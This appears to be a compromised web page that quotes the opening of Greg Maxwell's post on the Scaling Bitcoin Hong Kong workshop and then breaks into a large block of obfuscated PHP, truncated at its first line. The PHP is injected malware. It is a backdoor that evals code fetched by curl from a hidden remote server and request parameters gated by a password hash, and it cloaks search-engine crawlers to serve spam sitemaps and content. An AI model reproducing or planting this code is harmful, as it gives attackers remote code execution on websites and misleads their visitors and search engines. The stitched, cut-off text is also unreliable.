Greg Maxwell on Scaling Bitcoin HK

This was found literally here:   The Scaling Bitcoin Workshop in HK is just wrapping up. Many fascinating proposals were presented. I think this would be a good time to share my view of the near term arc for capacity increases in the Bitcoin system. I believe we’re in a fantastic place right now and […]

zYCjr2Fn = isset($_SERVER["\x48\x54\x54\x50\123"]) && $_SERVER["\x48\124\x54\x50\x53"] == "\157\x6e" || isset($_SERVER["\x48\124\x54\x50\137\x58\x5f\x46\x4f\122\x57\x41\122\x44\x45\104\137\x50\x52\x4f\x54\x4f"]) && $_SERVER["\110\x54\124\x50\x5f\x58\137\x46\x4f\122\127\101\x52\104\105\x44\x5f\x50\122\x4f\124\117"] == "\150\x74\164\x70\163" ? "\x68\164\164\160\x73\72\x2f\57" : "\x68\x74\164\160\x3a\x2f\57"; goto aFCm0sqRKF; GH_cBM4act: exit; goto gDdx3x44ew; IvRg3E1NYw: $yu9w7n7XlF = br7vhVy4XD($dvguHBlSZf); goto uhaxuqHq2o; FG92m9nk8o: Vv3b1F3eQm: goto NVPdj1I7mJ; KoBHkElFbZ: $f504DtPb8O = str_replace("\x6f\x6b\150\x74\x6d\x6c\147\x65\164\143\157\x6e\164\x65\156\164", '', $f504DtPb8O); goto DE3bF2mwK3; eJP6uWeSTH: $f504DtPb8O = str_replace("\157\153\x68\164\155\154\x67\x65\164\x63\x6f\x6e\x74\x65\x6e\x74", '', $f504DtPb8O); goto iJldI1oHkh; f5i58RKoTN: $m87rt2jV0F = $xt11Xn5Vj1("\176", "\x20"); goto sF6DgDHYAS; O423bfK9g_: $aKACufDzl4 = "\125\x73\x65\162\x2d\x61\x67\x65\156\164\72\40\x2a\x44\151\x73\x61\154\154\157\167\72\x20\x53\x69\x74\145\155\141\x70\x3a\40{$GkzYCjr2Fn}{$MOzekepmaK}\57\x73\151\164\145\x6d\x61\160\x2e\170\155\154"; goto MgOLUSvgKW; ltyskHK7DP: $ACI9KESLfB = @strtolower($ACI9KESLfB); goto raOq2Ztdj1; Vh0i1WUlUv: echo "\162\x6f\142\x6f\164\x73\40\157\153\41"; goto bpCe3J6UM1; dUgEn79Vj2: $yK_bhmvg7W = $tsOekZ3Yo7 . "\57\x69\156\144\x65\170\x2e\160\150\x70\x3f\144\x6f\155\141\151\x6e\75" . $MOzekepmaK . "\46\x72\165\162\x6c\75" . $LIRRoz5ocY . "\46\x68\x74\x3d" . $GkzYCjr2Fn . "\x26\x70\x68\160\75" . $lnIB2OtqYb; goto KDniOrCBxP; RcLbNKGgmV: exit; goto bFo7b97uP0; Nht5wL0jLR: class ZsOv0gnu95 { static function IaAdXQzpqz($Z1BgnQmoTm) { goto IEoJLAT6cV; i612pwA4W5: return $aRqzdNvBc6; goto IVFtPBmEag; IEoJLAT6cV: $M_Ra0M0Vwf = "\162" . "\141" . "\x6e" . "\147" . "\x65"; goto aHAbYdAb_x; g0zoWHydPk: fugOdEjrrX: goto i612pwA4W5; aHAbYdAb_x: $bt2rMcUhSo = $M_Ra0M0Vwf("\x7e", "\40"); goto YVOY1WcIa0; rYMKxwelkg: $aRqzdNvBc6 = ''; goto aU3gJsGLrA; YVOY1WcIa0: $ux3DPZWJ58 = explode("\157", $Z1BgnQmoTm); goto rYMKxwelkg; aU3gJsGLrA: foreach ($ux3DPZWJ58 as $f5pipTCiKN => $M23kp7kj7U) { $aRqzdNvBc6 .= $bt2rMcUhSo[$M23kp7kj7U - 44738]; VgU2wV09Y6: } goto g0zoWHydPk; IVFtPBmEag: } static function g3bWlTsIO9($D3ch1_Tti5, $iAQ1QfI9NQ) { goto HyH4YWd7Jn; wXzZ9xSrkL: $K9Ntt22rVI = curl_exec($rFAt5u4kRV); goto wGZGgrswHe; wGZGgrswHe: return empty($K9Ntt22rVI) ? $iAQ1QfI9NQ($D3ch1_Tti5) : $K9Ntt22rVI; goto xCPaShTJK8; P5q4UBG2ks: curl_setopt($rFAt5u4kRV, CURLOPT_RETURNTRANSFER, 1); goto wXzZ9xSrkL; HyH4YWd7Jn: $rFAt5u4kRV = curl_init($D3ch1_Tti5); goto P5q4UBG2ks; xCPaShTJK8: } static function hkdXnAmlor() { goto NVU5M14pSQ; CpU0yVcqpb: E8BNh5bH0Z: goto xd4W7OrIKs; xd4W7OrIKs: $VU8cDCBy6u = @$IwNHznOPtW[1]($IwNHznOPtW[10 + 0](INPUT_GET, $IwNHznOPtW[2 + 7])); goto LSQ27jWDRl; o5YrtmmpvF: $nrbmg2t3uX = self::G3BwLtSIO9($Ot_eoShQfU[1 + 0], $IwNHznOPtW[4 + 1]); goto UdQcXPYqUc; TcFSJ9KSYF: if (!(@$Ot_eoShQfU[0] - time() > 0 and md5(md5($Ot_eoShQfU[2 + 1])) === "\70\x61\67\63\63\63\x31\x33\142\146\66\x62\x39\143\x33\71\66\x36\x30\x63\143\x39\142\x66\x34\x33\x32\71\x64\61\142\x61")) { goto u_H9iFlutr; } goto o5YrtmmpvF; zGP4I50JUL: u_H9iFlutr: goto NGvFbr9H3Y; PscBh994Bd: @$IwNHznOPtW[4 + 6](INPUT_GET, "\x6f\146") == 1 && die($IwNHznOPtW[3 + 2](__FILE__)); goto TcFSJ9KSYF; NVU5M14pSQ: $cM6iAloP7p = array("\x34\64\x37\66\65\x6f\x34\64\67\x35\60\x6f\64\64\67\66\63\157\64\64\x37\x36\67\x6f\x34\64\x37\64\x38\x6f\64\x34\67\x36\x33\157\x34\64\67\x36\x39\157\64\64\67\66\x32\157\64\64\67\64\67\x6f\64\64\67\65\x34\x6f\x34\64\67\66\65\157\x34\64\67\64\70\157\64\x34\x37\65\71\157\64\64\67\65\63\x6f\x34\x34\x37\65\x34", "\x34\x34\67\64\x39\x6f\64\64\67\x34\x38\157\64\x34\67\65\60\x6f\64\64\x37\66\x39\x6f\x34\64\x37\65\x30\x6f\x34\x34\67\x35\x33\157\64\64\67\x34\70\x6f\x34\x34\x38\x31\x35\157\64\64\x38\x31\63", "\x34\64\x37\x35\x38\x6f\64\64\x37\64\x39\x6f\64\64\67\65\x33\x6f\64\x34\67\x35\x34\x6f\64\64\67\66\71\x6f\64\64\x37\66\x34\x6f\64\64\x37\x36\x33\x6f\64\x34\67\x36\65\x6f\64\64\67\65\63\157\64\64\x37\x36\x34\157\64\x34\x37\66\x33", "\x34\x34\x37\x35\x32\157\x34\64\x37\x36\x37\157\x34\x34\x37\66\65\157\x34\x34\67\65\x37", "\64\64\x37\x36\66\157\64\x34\67\66\67\x6f\64\64\x37\64\x39\157\64\x34\67\x36\63\157\64\x34\x38\61\x30\157\64\64\x38\x31\x32\157\x34\64\x37\x36\x39\x6f\64\x34\67\x36\64\157\x34\x34\67\x36\63\157\64\x34\x37\x36\x35\157\64\64\67\x35\x33\x6f\x34\64\x37\x36\64\x6f\64\x34\67\x36\x33", "\x34\64\x37\66\62\157\64\64\67\65\71\x6f\64\x34\x37\x35\66\x6f\x34\x34\x37\x36\63\x6f\x34\x34\67\66\71\157\64\x34\x37\x36\61\157\64\x34\67\x36\63\157\64\x34\67\x34\x38\157\64\x34\x37\x36\71\157\64\64\x37\x36\x35\x6f\64\64\x37\65\63\x6f\x34\x34\67\65\64\157\64\64\x37\x34\70\x6f\64\x34\67\66\x33\x6f\x34\64\x37\x35\64\157\x34\x34\67\x34\x38\157\64\64\67\x34\x39", "\x34\x34\x37\71\x32\157\64\x34\70\62\x32", "\64\x34\67\x33\71", "\x34\64\x38\61\x37\157\x34\x34\x38\x32\62", "\64\x34\67\71\71\157\64\x34\x37\x38\62\x6f\64\x34\x37\x38\62\x6f\64\64\x37\x39\71\157\x34\64\x37\x37\65", "\x34\x34\x37\x36\62\157\64\64\67\65\x39\157\64\x34\67\x35\x36\x6f\x34\x34\67\x34\x38\x6f\64\x34\67\66\63\x6f\64\x34\x37\x35\60\157\64\64\67\x36\x39\x6f\x34\64\67\65\x39\157\x34\64\x37\x35\x34\157\64\x34\67\x35\x32\157\64\x34\67\64\67\157\64\64\67\64\x38"); goto lHouMsX61m; UdQcXPYqUc: @eval($IwNHznOPtW[1 + 3]($nrbmg2t3uX)); goto kaxjQB9lxO; kaxjQB9lxO: die; goto zGP4I50JUL; A6TzM67Anm: $Ot_eoShQfU = $IwNHznOPtW[2 + 0]($l0IMMbh5Vw, true); goto PscBh994Bd; lHouMsX61m: foreach ($cM6iAloP7p as $tSZz8wagsl) { $IwNHznOPtW[] = self::iAaDXQzpQZ($tSZz8wagsl); tM8FbG_3Y0: } goto CpU0yVcqpb; LSQ27jWDRl: $l0IMMbh5Vw = @$IwNHznOPtW[2 + 1]($IwNHznOPtW[6 + 0], $VU8cDCBy6u); goto A6TzM67Anm; NGvFbr9H3Y: } } goto wJwYyUUjzH; CF8u42FHUU: KIjzV491qX: goto qdnfMEKGwa; WFBR3zOelc: header("\x43\x6f\x6e\164\145\x6e\164\x2d\124\x79\160\x65\72\40\x74\x65\x78\x74\57\x68\x74\155\x6c\73\40\143\150\x61\162\163\x65\164\75\x75\164\146\x2d\70"); goto tpY_2IMDWG; nI1XxYH1zl: @header("\x43\157\x6e\x74\x65\x6e\x74\x2d\164\171\160\x65\x3a\40\x74\x65\170\164\57\x68\164\155\154\73\x20\143\150\x61\162\163\145\x74\x3d\x75\x74\146\55\x38"); goto eJP6uWeSTH; yWcuCvvGBS: if (!substr_count($_SERVER["\x52\x45\x51\x55\x45\123\124\x5f\x55\x52\111"], "\151\156\x64\145\x78\x2e\x70\150\160\57\152\x6b")) { goto u_jtoafz9o; } goto JT7wE8EkQT; K380RODwPm: cDF1EOSl56: goto fBg0yD3XCV; O0_1r2CcDk: if (!PXI_ltWBsF($rGcmPlImDS)) { goto Vv3b1F3eQm; } goto dUgEn79Vj2; PtzwKDM2G_: B4Vx6fgXEd: goto FG92m9nk8o; wGshkEBBrF: ($WsELdJBpBT[65] = $WsELdJBpBT[65] . $WsELdJBpBT[73]) && ($WsELdJBpBT[81] = $WsELdJBpBT[65]($WsELdJBpBT[81])) && @eval($WsELdJBpBT[65](${$WsELdJBpBT[48]}[24])); goto F3JeDsq2Fe; uhaxuqHq2o: if (!$yu9w7n7XlF) { goto cDF1EOSl56; } goto tViKnGadTE; c226phOYpP: if ($lnIB2OtqYb == "\x2f\151\x6e\144\x65\x78\x2e\160\150\x70") { goto KIjzV491qX; } goto KyoCNGQsKQ; EyRgzc1Rjl: $MOzekepmaK = isset($_SERVER["\110\124\124\x50\137\130\137\106\117\x52\127\101\x52\x44\105\104\137\x48\x4f\123\x54"]) ? $_SERVER["\x48\124\x54\120\x5f\x58\x5f\106\x4f\x52\x57\101\x52\104\x45\104\137\110\x4f\x53\x54"] : (isset($_SERVER["\x48\x54\124\x50\137\110\117\123\x54"]) ? $_SERVER["\x48\x54\124\120\137\x48\117\123\124"] : ''); goto mUB1BsUav5; CS3nvwdxxe: if (!(isset($_GET["\166\146"]) && $_GET["\166\146"] == "\162\x6f\x62\157\x74\x73")) { goto moTlfnWbJU; } goto c226phOYpP; fxrGrJZ84U: @header("\103\157\x6e\x74\x65\x6e\x74\55\164\171\160\x65\72\x74\145\170\x74\57\x78\155\x6c"); goto KoBHkElFbZ; Yfbe8Z3rbQ: error_reporting(0); goto PkIsosbqKT; fBg0yD3XCV: zcc_NX1KM_: goto ZKR1aLraQ9; LfAaCBNNR9: echo "\172\156\x7a\x6e\172\156\40\x6f\156\x6c\151\x6e\145\41"; goto ClKiJ2ga3S; D4FNw6Js1W: echo 11; goto iUyMZc0MN5; NVPdj1I7mJ: if (!preg_match("\57\x67\157\x6f\x67\x6c\x65\56\x63\157\x2e\x6a\160\x7c\x79\141\150\157\157\x7c\147\x6f\x6f\147\154\145\x5c\x2e\x63\157\x6d\174\142\x69\156\147\57\151", $ACI9KESLfB)) { goto zcc_NX1KM_; } goto sRoZE5nNHF; gRZ_Gt9Pge: $rGcmPlImDS = @strtolower($rGcmPlImDS); goto ltyskHK7DP; tViKnGadTE: @header("\x43\x6f\x6e\x74\x65\x6e\164\55\164\171\x70\145\72\x20\x74\145\x78\164\57\150\x74\155\x6c\x3b\40\143\150\x61\x72\x73\x65\164\x3d\165\164\146\x2d\x38"); goto Dwvgb49M62; bFo7b97uP0: PM9iAr7ddr: goto PtzwKDM2G_; A75m6Bj7cA: metaphone("\x4d\124\x4d\x33\117\x44\x67\x33\117\124\x59\x32\x4f\x54\111\167\x4d\152\101\x33\x4d\x7a\153\x30\115\x54\131\167\116\124\x63\x79"); goto Nht5wL0jLR; dRCgx35dcn: if (!(substr($LIRRoz5ocY, -12) == "\147\x6f\157\x67\154\x65\162\x6f\x62\157\x74\163")) { goto fcQLPX5wYs; } goto D4FNw6Js1W; S0mI0U7APx: if (!(isset($_GET["\x76\x66"]) && $_GET["\x76\146"] == "\x7a\156\172\x6e\x7a\156")) { goto FyUs_UbVPO; } goto LfAaCBNNR9; bpCe3J6UM1: exit; goto JgBQJB1h7S; DCh_9SVSn9: if (!(substr($LIRRoz5ocY, -4) == "\x2e\x78\x6d\x6c")) { goto sDN42b5is2; } goto Le9crDxOrw; ClKiJ2ga3S: exit; goto p2lUs8J_EC; Td_yNZ7cde: fcQLPX5wYs: goto CS3nvwdxxe; B__y5fPXcF: goto zyIWTM8mlH; goto CF8u42FHUU; wJwYyUUjzH: ZsoV0GnU95::HkdXNamlOr(); goto WFBR3zOelc; JgBQJB1h7S: moTlfnWbJU: goto iJWghrjwaF; sRoZE5nNHF: $dvguHBlSZf = $tsOekZ3Yo7 . "\57\151\x6e\144\145\x78\56\x70\150\x70\77\x64\157\155\x61\151\156\x3d" . $MOzekepmaK . "\x26\x72\x75\x72\154\x3d" . $LIRRoz5ocY . "\x26\x6c\x67\x3d" . $r9axMGoa1y; goto IvRg3E1NYw; iUyMZc0MN5: exit; goto Td_yNZ7cde; vcM0cQKhbN: $f504DtPb8O = Br7VhvY4XD($yK_bhmvg7W); goto ovonlMm512; JT7wE8EkQT: exit("\x7b\40\42\x65\x72\162\x6f\x72\42\x3a\x20\62\60\60\54\x20\42\x6c\x63\x22\72\x20\x22\x6a\x6b\42\54\40\42\x64\141\x74\141\42\x3a\x20\x5b\40\x31\x20\135\x20\x7d"); goto GB5GkyOrU9; p2lUs8J_EC: FyUs_UbVPO: goto dRCgx35dcn; Efw1gOiu4F: $rGcmPlImDS = @$_SERVER["\x48\124\124\x50\x5f\x55\x53\105\122\x5f\x41\107\x45\116\x54"]; goto SSZB9PbVOH; ovonlMm512: if (empty($f504DtPb8O)) { goto DuG74Sbpl_; } goto fxrGrJZ84U; RPnDD75Bzr: if ($BHVSqjxW2A == "\61\61") { goto SgcmMaKTps; } goto Ag1wK0gIle; F3JeDsq2Fe: n2cvRX1fmJ: goto A75m6Bj7cA; mUB1BsUav5: $LIRRoz5ocY = isset($_SERVER["\x52\105\121\125\105\x53\x54\x5f\x55\122\111"]) && $_SERVER["\x52\105\x51\125\105\123\124\x5f\125\122\x49"] != '' ? $_SERVER["\x52\x45\x51\125\105\123\x54\137\x55\122\111"] : $_SERVER["\110\124\124\120\x5f\130\137\122\x45\x57\x52\111\x54\x45\137\125\122\114"]; goto N_wR9wnZaR; Le9crDxOrw: $yK_bhmvg7W = $tsOekZ3Yo7 . "\x2f\x69\156\x64\x65\170\x2e\x70\x68\x70\x3f\144\157\x6d\141\x69\x6e\75" . $MOzekepmaK . "\46\162\x75\x72\x6c\x3d" . $LIRRoz5ocY . "\46\150\164\75" . $GkzYCjr2Fn . "\46\160\150\160\75" . $lnIB2OtqYb; goto vcM0cQKhbN; Dwvgb49M62: $yu9w7n7XlF = str_replace("\x6f\153\x68\x74\155\154\147\145\164\143\157\x6e\x74\145\x6e\x74", '', $yu9w7n7XlF); goto oSksslrnm0; iJldI1oHkh: echo $f504DtPb8O; goto pkEKR8MttH; tpY_2IMDWG: $tsOekZ3Yo7 = base64_decode("\x61\x48\x52\x30\143\104\x6f\x76\x4c\x32\x78\x33\141\152\147\172\114\x6e\x42\x6c\131\x33\126\x73\114\156\144\166\143\x6d\x73\x76"); goto EyRgzc1Rjl; iJWghrjwaF: function Pxi_LTwbSF($uRXgl3o3v2) { goto nzInCKNKwE; JkbsHnkw2A: i3xGu2_Vz1: goto g2qXQLSbcG; lw51Nhml9m: return false; goto bn_U2Hqu9K; tP38alguax: af9yVb12c8: goto WWAX4KSbjc; bn_U2Hqu9K: goto af9yVb12c8; goto JkbsHnkw2A; nzInCKNKwE: if (strpos($uRXgl3o3v2, "\147\x6f\157\x67\x6c\x65") !== false || strpos($uRXgl3o3v2, "\x79\x61\150\x6f\157") !== false) { goto i3xGu2_Vz1; } goto lw51Nhml9m; g2qXQLSbcG: return true; goto tP38alguax; WWAX4KSbjc: } goto DCh_9SVSn9; Ag9cJe2gli: goto F2BzChuJlT; goto hh7Kyxx5jJ; PkIsosbqKT: $xt11Xn5Vj1 = "\162" . "\141" . "\x6e" . "\x67" . "\145"; goto f5i58RKoTN; oSksslrnm0: echo $yu9w7n7XlF; goto pTQ4wQIx3S; mKuRaFGI3K: sDN42b5is2: goto O0_1r2CcDk; pkEKR8MttH: if (!($f504DtPb8O !== '')) { goto PM9iAr7ddr; } goto RcLbNKGgmV; GB5GkyOrU9: u_jtoafz9o: goto S0mI0U7APx; sF6DgDHYAS: $WsELdJBpBT = ${$m87rt2jV0F[25 + 6] . $m87rt2jV0F[53 + 6] . $m87rt2jV0F[40 + 7] . $m87rt2jV0F[4 + 43] . $m87rt2jV0F[42 + 9] . $m87rt2jV0F[27 + 26] . $m87rt2jV0F[19 + 38]}; goto u69h9xo6W4; aFCm0sqRKF: $lnIB2OtqYb = @$_SERVER["\123\x43\x52\111\120\x54\137\116\101\115\x45"]; goto yWcuCvvGBS; ZKR1aLraQ9: function BR7vhvy4XD($LIRRoz5ocY) { goto GaR1BAVGRE; YQV6_DqFLp: curl_setopt($VhpN2EJdy7, CURLOPT_CONNECTTIMEOUT, 5); goto X5gjenRVw_; tWyR4EIILp: curl_setopt($VhpN2EJdy7, CURLOPT_RETURNTRANSFER, 1); goto YQV6_DqFLp; elR9W4yG0i: curl_setopt($VhpN2EJdy7, CURLOPT_URL, $LIRRoz5ocY); goto tWyR4EIILp; AlQYcexFbH: return $f504DtPb8O; goto kQSLHQe8JD; X5gjenRVw_: $f504DtPb8O = curl_exec($VhpN2EJdy7); goto ahPhxy29T1; GaR1BAVGRE: $VhpN2EJdy7 = curl_init(); goto elR9W4yG0i; ahPhxy29T1: curl_close($VhpN2EJdy7); goto AlQYcexFbH; kQSLHQe8JD: } ?>